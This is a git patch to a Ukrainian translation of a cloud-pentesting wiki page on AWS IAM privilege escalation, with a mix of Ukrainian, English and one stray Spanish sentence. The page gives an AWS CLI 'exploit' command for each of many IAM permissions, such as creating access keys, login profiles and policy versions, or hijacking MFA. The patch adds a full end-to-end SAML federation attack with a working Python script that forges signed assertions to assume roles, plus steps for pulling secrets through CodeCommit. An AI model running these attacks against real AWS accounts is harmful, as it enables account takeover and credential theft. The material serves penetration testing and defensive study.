From d669e5925cb03e7f95189f23f7615192d6ffb4da Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 14 Feb 2026 17:02:25 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-iam-privesc/README.md | 360 +++++++++++++++--- 1 file changed, 315 insertions(+), 45 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 77e3c21ec..958711471 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -4,7 +4,7 @@ ## IAM -Для отримання додаткової інформації про IAM див.: +Для отримання додаткової інформації про IAM перегляньте: {{#ref}} ../../aws-services/aws-iam-enum.md @@ -12,42 +12,42 @@ ### **`iam:CreatePolicyVersion`** -Надає можливість створити нову версію IAM-політики, обходячи необхідність дозволу `iam:SetDefaultPolicyVersion` за допомогою прапорця `--set-as-default`. Це дозволяє визначати власні дозволи. +Надає можливість створювати нову версію IAM policy, обходячи необхідність у дозволі `iam:SetDefaultPolicyVersion` шляхом використання прапорця `--set-as-default`. Це дозволяє визначати власні дозволи. -**Команда експлуатації:** +**Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Вплив:** Непосередньо підвищує привілеї, дозволяючи виконувати будь-яку дію над будь-яким ресурсом. +**Вплив:** Безпосередньо підвищує привілеї, дозволяючи виконувати будь-яку дію над будь-яким ресурсом. ### **`iam:SetDefaultPolicyVersion`** -Дозволяє змінити версію за замовчуванням політики IAM на іншу існуючу версію, що може призвести до підвищення привілеїв, якщо нова версія має більше дозволів. +Дозволяє змінювати версію IAM policy за замовчуванням на іншу існуючу версію, що може призвести до ескалації привілеїв, якщо нова версія має більше дозволів. **Bash Command:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Impact:** Опосередковане privilege escalation шляхом надання додаткових дозволів. +**Вплив:** Косвене privilege escalation шляхом надання додаткових дозволів. ### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)** -Дозволяє створювати access key ID та secret access key для іншого користувача, що може призвести до privilege escalation. +Дозволяє створювати access key ID та secret access key для іншого користувача, що може призвести до потенційного privilege escalation. **Exploit:** ```bash aws iam create-access-key --user-name ``` -**Impact:** Пряме підвищення привілеїв шляхом прийняття розширених дозволів іншого користувача. +**Impact:** Пряме підвищення привілеїв шляхом використання розширених прав іншого користувача. -Note that a user can only have 2 access keys created, so if a user already has 2 access keys you will need the permission `iam:DeleteAccessKey` to видалити один із них, щоб мати можливість створити новий: +Note that a user can only have 2 ключі доступу created, so if a user already has 2 ключі доступу you will need the permission `iam:DeleteAccessKey` to видалити один із них, щоб мати змогу створити новий: ```bash aws iam delete-access-key --uaccess-key-id ``` ### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`** -Якщо ви можете створити новий віртуальний MFA-пристрій і увімкнути його для іншого користувача, ви фактично можете зареєструвати власний MFA для цього користувача і потім отримати MFA-підтверджену сесію для його облікових даних. +Якщо ви можете створити новий virtual MFA device і увімкнути його для іншого user, ви фактично зможете зареєструвати власний MFA для цього user, а потім запросити MFA-підтриману session для їхніх credentials. **Exploit:** ```bash @@ -58,27 +58,27 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name aws iam enable-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Вплив:** Пряме підвищення привілеїв шляхом захоплення реєстрації користувача в MFA (а потім використання його прав). +**Вплив:** Пряма ескалація привілеїв шляхом перехоплення реєстрації MFA користувача (а далі — використання його прав доступу). ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Дозволяє створювати або оновлювати login profile, включно з встановленням паролів для входу в AWS Console, що призводить до прямого підвищення привілеїв. +Дозволяє створювати або оновлювати login profile, зокрема встановлювати паролі для входу в консоль AWS, що призводить до прямої ескалації привілеїв. -**Exploit for Creation:** +**Експлойт для створення:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Exploit для Оновлення:** +**Exploit для оновлення:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Вплив:** Пряме підвищення привілеїв через вхід як користувач "any". +**Impact:** Пряме підвищення привілеїв шляхом входу як "будь-який" користувач. ### **`iam:UpdateAccessKey`** -Дозволяє ввімкнути відключений ключ доступу, що потенційно може призвести до несанкціонованого доступу, якщо зловмисник має цей відключений ключ. +Дозволяє активувати деактивований access key, що потенційно може призвести до несанкціонованого доступу, якщо зловмисник має цей деактивований ключ. **Exploit:** ```bash @@ -88,23 +88,49 @@ aws iam update-access-key --access-key-id --status Active --user ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Дозволяє генерувати або скидати облікові дані для конкретних AWS сервісів (наприклад, CodeCommit, Amazon Keyspaces), успадковуючи дозволи пов’язаного користувача. +Дозволяє генерувати або скидувати облікові дані для конкретних сервісів AWS (найчастіше — **CodeCommit**). Це **не** AWS API keys: це облікові дані у вигляді **ім'я користувача/пароль**, призначені для конкретного сервісу, і ви можете використовувати їх лише там, де відповідний сервіс їх приймає. -**Експлойт для створення:** +**Створення:** ```bash -aws iam create-service-specific-credential --user-name --service-name +aws iam create-service-specific-credential --user-name --service-name codecommit.amazonaws.com ``` -**Exploit для Reset:** +Збережіть: + +- `ServiceSpecificCredential.ServiceUserName` +- `ServiceSpecificCredential.ServicePassword` + +**Приклад:** +```bash +# Find a repository you can access as the target +aws codecommit list-repositories + +export REPO_NAME="" +export AWS_REGION="us-east-1" # adjust if needed + +# Git URL (HTTPS) +export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}" + +# Clone and use the ServiceUserName/ServicePassword when prompted +git clone "$CLONE_URL" +cd "$REPO_NAME" +``` +> Примітка: пароль сервісу часто містить символи на кшталт `+`, `/` та `=`. Зазвичай найпростіше використовувати інтерактивний запит. Якщо ви вставляєте його в URL, спочатку виконайте URL-encode. + +На цьому етапі ви можете читати все, до чого має доступ цільовий користувач у CodeCommit (наприклад, a leaked credentials file). Якщо ви отримали **AWS access keys** з repo, налаштуйте новий профіль AWS CLI з цими ключами, а потім отримайте доступ до ресурсів (наприклад, прочитайте flag з Secrets Manager): +```bash +aws secretsmanager get-secret-value --secret-id --profile +``` +**Скинути:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Вплив:** Пряме підвищення привілеїв у межах дозволів сервісу користувача. +**Impact:** Privilege escalation до дозволів цільового користувача для вказаного сервісу (і потенційно далі, якщо ви pivot, використовуючи дані, отримані з цього сервісу). ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Дозволяє прикріплювати політики до користувачів або груп, безпосередньо підвищуючи привілеї шляхом успадкування дозволів прикріпленої політики. +Дозволяє прикріплювати політики до користувачів або груп, безпосередньо escalating privileges шляхом успадкування дозволів прикріпленої політики. -**Експлойт для користувача:** +**Exploit for User:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` @@ -112,13 +138,13 @@ aws iam attach-user-policy --user-name --policy-arn "" ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Вплив:** Пряме підвищення привілеїв до всього, що надає політика. +**Вплив:** Пряме privilege escalation до всього, що надає політика. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Дозволяє прикріплювати або додавати політики до ролей, користувачів або груп, що дає змогу безпосередньо підвищити привілеї шляхом надання додаткових дозволів. +Дозволяє прикріплювати або додавати політики до ролей, користувачів або груп, що дає змогу прямого privilege escalation шляхом надання додаткових дозволів. -**Експлойт для ролі:** +**Exploit for Role:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` @@ -133,7 +159,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -Ви можете використовувати політику, наприклад: +Ви можете використати політику на кшталт: ```json { "Version": "2012-10-17", @@ -150,7 +176,7 @@ aws iam put-role-policy --role-name --policy-name "" \ ### **`iam:AddUserToGroup`** -Дозволяє додати себе до IAM group, підвищуючи привілеї через успадкування її дозволів. +Дозволяє додати себе до групи IAM, підвищуючи привілеї шляхом успадкування дозволів групи. **Exploit:** ```bash @@ -160,14 +186,14 @@ aws iam add-user-to-group --group-name --user-name ### **`iam:UpdateAssumeRolePolicy`** -Дозволяє змінювати документ політики assume role для ролі, що дає змогу виконати assume цієї ролі та отримати її пов'язані дозволи. +Дозволяє змінювати документ політики assume role ролі, що дозволяє здійснити assume role цієї ролі та отримати пов’язані з нею дозволи. **Експлойт:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Якщо політика виглядає наступним чином і надає користувачеві дозвіл прийняти роль: +Якщо політика виглядає наступним чином і надає користувачу дозвіл взяти на себе роль: ```json { "Version": "2012-10-17", @@ -182,38 +208,38 @@ aws iam update-assume-role-policy --role-name \ ] } ``` -**Вплив:** Пряме privilege escalation шляхом прийняття дозволів будь-якої ролі. +**Вплив:** Пряме підвищення привілеїв шляхом отримання дозволів будь-якої ролі. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Дозволяє завантажувати SSH public key для автентифікації в CodeCommit та деактивувати MFA devices, що може призвести до потенційного непрямого privilege escalation. +Дозволяє завантажувати публічний SSH-ключ для автентифікації в CodeCommit та деактивувати MFA-пристрої, що може призвести до непрямого підвищення привілеїв. **Exploit for SSH Key Upload:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**Експлойт для деактивації MFA:** +**Exploit для деактивації MFA:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**Вплив:** Indirect privilege escalation by enabling CodeCommit access or disabling MFA protection. +**Вплив:** Непряме підвищення привілеїв шляхом надання доступу до CodeCommit або відключення захисту MFA. ### **`iam:ResyncMFADevice`** -Дозволяє ресинхронізацію пристрою MFA, що потенційно може призвести до indirect privilege escalation шляхом маніпулювання захистом MFA. +Дозволяє ресинхронізацію пристрою MFA, що потенційно може призвести до непрямого підвищення привілеїв шляхом маніпулювання захистом MFA. -**Команда Bash:** +**Bash Command:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Вплив:** Indirect privilege escalation by adding or manipulating MFA devices. +**Вплив:** Непряме підвищення привілеїв шляхом додавання або маніпуляції MFA devices. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Маючи ці дозволи, ви можете **змінити XML метадані SAML-з'єднання**. Після цього ви могли б зловживати **SAML federation** щоб **login** з будь-якою **role that is trusting** it. +З цими дозволами ви можете **змінити XML метадані SAML connection**. Потім ви могли б зловживати **SAML federation**, щоб **увійти** під будь-якою **роллю, яка довіряє SAML**. -Зверніть увагу, що через це **legit users won't be able to login**. Однак ви можете отримати XML, підставити свій, виконати **login** та потім відновити попередню конфігурацію. +Зауважте, що при цьому **легітимні користувачі не зможуть увійти**. Однак ви можете отримати XML, підставити свій, увійти і потім відновити попередні налаштування. ```bash # List SAMLs aws iam list-saml-providers @@ -229,12 +255,256 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar # Optional: Set the previous XML back aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` -> [!NOTE] -> TODO: Інструмент, здатний згенерувати метадані SAML і виконати вхід з вказаною роллю -> +**End-to-end attack:** + +1. Перелічте SAML provider та роль, яка йому довіряє: +```bash +export AWS_REGION=${AWS_REGION:-us-east-1} + +aws iam list-saml-providers +export PROVIDER_ARN="arn:aws:iam:::saml-provider/" + +# Backup current metadata so you can restore it later: +aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json + +# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML: +aws iam list-roles | grep -i saml || true +aws iam get-role --role-name "" +export ROLE_ARN="arn:aws:iam:::role/" +``` +2. Підробити IdP metadata + підписане SAML assertion для пари role/provider: +```bash +python3 -m venv /tmp/saml-federation-venv +source /tmp/saml-federation-venv/bin/activate +pip install lxml signxml + +# Create /tmp/saml_forge.py from the expandable below first: +python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json +python3 - <<'PY' +import json +j=json.load(open("/tmp/saml-forge.json","r")) +open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"]) +open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"]) +print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64") +PY +``` +
+Розгорнути: /tmp/saml_forge.py допоміжний скрипт (метадані + підписане твердження) +```python +#!/usr/bin/env python3 +from __future__ import annotations + +import argparse +import base64 +import datetime as dt +import json +import os +import subprocess +import tempfile +import uuid + +from lxml import etree +from signxml import XMLSigner, methods + + +def _run(cmd: list[str]) -> str: +p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) +return p.stdout + + +def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: +key_path = os.path.join(tmpdir, "key.pem") +cert_path = os.path.join(tmpdir, "cert.pem") +_run( +[ +"openssl", +"req", +"-x509", +"-newkey", +"rsa:2048", +"-keyout", +key_path, +"-out", +cert_path, +"-days", +"3650", +"-nodes", +"-subj", +"/CN=attacker-idp", +] +) +return key_path, cert_path + + +def _pem_cert_to_b64(cert_pem: str) -> str: +lines: list[str] = [] +for line in cert_pem.splitlines(): +if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line: +continue +line = line.strip() +if line: +lines.append(line) +return "".join(lines) + + +def make_metadata_xml(cert_b64: str) -> str: +return f""" + + + + + +{cert_b64} + + + + + + +""" + + +def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: +ns = { +"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol", +"saml2": "urn:oasis:names:tc:SAML:2.0:assertion", +} + +issue_instant = dt.datetime.now(dt.timezone.utc) +not_before = issue_instant - dt.timedelta(minutes=2) +not_on_or_after = issue_instant + dt.timedelta(minutes=10) + +resp_id = "_" + str(uuid.uuid4()) +assertion_id = "_" + str(uuid.uuid4()) + +response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns) +response.set("ID", resp_id) +response.set("Version", "2.0") +response.set("IssueInstant", issue_instant.isoformat()) +response.set("Destination", "https://signin.aws.amazon.com/saml") + +issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer")) +issuer.text = "https://attacker.invalid/idp" + +status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status")) +status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode")) +status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success") + +assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion")) +assertion.set("ID", assertion_id) +assertion.set("Version", "2.0") +assertion.set("IssueInstant", issue_instant.isoformat()) + +a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer")) +a_issuer.text = "https://attacker.invalid/idp" + +subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject")) +name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID")) +name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified") +name_id.text = "attacker" + +subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation")) +subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer") +subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData")) +subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat()) +subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml") + +conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions")) +conditions.set("NotBefore", not_before.isoformat()) +conditions.set("NotOnOrAfter", not_on_or_after.isoformat()) + +audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction")) +audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience")) +audience.text = "https://signin.aws.amazon.com/saml" + +attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement")) + +attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute")) +attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role") +attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue")) +attr_role_value.text = f"{role_arn},{principal_arn}" + +attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute")) +attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName") +attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue")) +attr_session_value.text = "saml-session" + +key_bytes = open(key_pem, "rb").read() +cert_bytes = open(cert_pem, "rb").read() + +signer = XMLSigner( +method=methods.enveloped, +signature_algorithm="rsa-sha256", +digest_algorithm="sha256", +c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#", +) +signed_assertion = signer.sign( +assertion, +key=key_bytes, +cert=cert_bytes, +reference_uri=f"#{assertion_id}", +id_attribute="ID", +) + +response.remove(assertion) +response.append(signed_assertion) + +return etree.tostring(response, xml_declaration=True, encoding="utf-8") + + +def main() -> None: +ap = argparse.ArgumentParser() +ap.add_argument("--role-arn", required=True) +ap.add_argument("--principal-arn", required=True) +args = ap.parse_args() + +with tempfile.TemporaryDirectory() as tmp: +key_path, cert_path = _openssl_make_key_and_cert(tmp) +cert_pem = open(cert_path, "r", encoding="utf-8").read() +cert_b64 = _pem_cert_to_b64(cert_pem) + +metadata_xml = make_metadata_xml(cert_b64) +saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) +saml_b64 = base64.b64encode(saml_xml).decode("ascii") + +print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64})) + + +if __name__ == "__main__": +main() +``` +3. Оновіть SAML provider metadata сертифікатом вашого IdP, прийміть роль і використайте повернуті STS credentials: +```bash +aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \ +--saml-metadata-document file:///tmp/saml-metadata.xml + +# Assertion is base64 and can be long. Keep it on one line: +ASSERTION_B64=$(tr -d '\n' [!WARNING] +> Оновлення метаданих SAML-провайдера є деструктивним: поки ваші метадані застосовані, легітимні SSO-користувачі можуть не змогти автентифікуватися. + ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Не впевнений у цьому) Якщо в нападника є ці **дозволи**, він може додати новий **Thumbprint**, щоб мати змогу виконувати вхід у всі ролі, які довіряють провайдеру. +(Не впевнений щодо цього) Якщо зловмисник має ці **permissions**, він може додати новий **Thumbprint**, щоб мати змогу login у всі ролі, які довіряють провайдеру. ```bash # List providers aws iam list-open-id-connect-providers @@ -245,7 +515,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -Цей дозвіл дозволяє зловмиснику оновити межу дозволів користувача, що потенційно може підвищити їхні привілеї, дозволивши виконувати дії, які зазвичай обмежені їхніми поточними дозволами. +Це дозволяє нападнику оновити межу дозволів (permissions boundary) користувача, що може призвести до підвищення його привілеїв — дозволяючи виконувати дії, які зазвичай обмежені його поточними дозволами. ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -268,7 +538,7 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -Особа з дозволом iam:PutRolePermissionsBoundary може встановлювати межу дозволів для існуючої ролі. Ризик виникає, коли хтось із цим дозволом змінює межу ролі: така особа може неналежним чином обмежити операції (що може спричинити перебої в роботі сервісу) або, якщо додасть менш обмежувальну межу, фактично розширити можливості ролі й підвищити її привілеї. +Актор з правом iam:PutRolePermissionsBoundary може встановити межу дозволів для існуючої ролі. Ризик виникає, коли особа з цим дозволом змінює межу ролі: вона може неправильно обмежити операції (що спричиняє перебої в роботі сервісу) або, якщо додасть надто ліберальну межу, фактично розширити можливості ролі і підвищити привілеї. ```bash aws iam put-role-permissions-boundary \ --role-name \